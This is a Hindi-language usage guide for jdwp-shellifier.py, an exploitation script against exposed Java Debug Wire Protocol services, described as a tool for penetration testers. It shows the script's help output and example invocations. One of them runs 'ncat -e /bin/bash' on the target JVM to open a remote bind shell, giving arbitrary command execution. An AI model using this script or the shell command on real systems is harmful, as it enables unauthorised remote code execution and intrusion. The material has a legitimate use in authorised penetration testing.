
उजागर Java Debug Wire Protocol (JDWP) सेवाओं के लिए शोषण स्क्रिप्ट, जो पेंटेस्टर्स को Java कोड इंजेक्ट करने और लक्षित JVM पर मनमाने OS कमांड निष्पादित करने में सक्षम बनाती है।
यह शोषण स्क्रिप्ट पेंटेस्टर्स द्वारा सक्रिय JDWP सेवा के विरुद्ध उपयोग करने के लिए है, ताकि रिमोट कोड निष्पादन प्राप्त किया जा सके।
खैर, काफी मानक तरीके से, स्क्रिप्ट को केवल Python 2 इंटरप्रेटर की आवश्यकता होती है:
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
किसी विशिष्ट होस्ट/पोर्ट को लक्षित करने के लिए:
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
यह कमांड केवल JVM पर Java कोड इंजेक्ट करेगा और ऑपरेटिंग सिस्टम, Java संस्करण जैसी कुछ जानकारी दिखाएगा। चूंकि यह बाहरी कोड/बाइनरी को निष्पादित नहीं करता है, यह पूरी तरह से सुरक्षित है और इसे प्रूफ-ऑफ-कॉन्सेप्ट के रूप में उपयोग किया जा सकता है।
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
यह कमांड वास्तव में चल रहे JVM को प्रदान किए गए अधिकारों के साथ निर्दिष्ट तर्क सहित ncat प्रक्रिया को निष्पादित करेगा।
प्रश्न भेजने से पहले, JDWP प्रोटोकॉल की पूरी समझ के लिए http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html को अवश्य पढ़ें।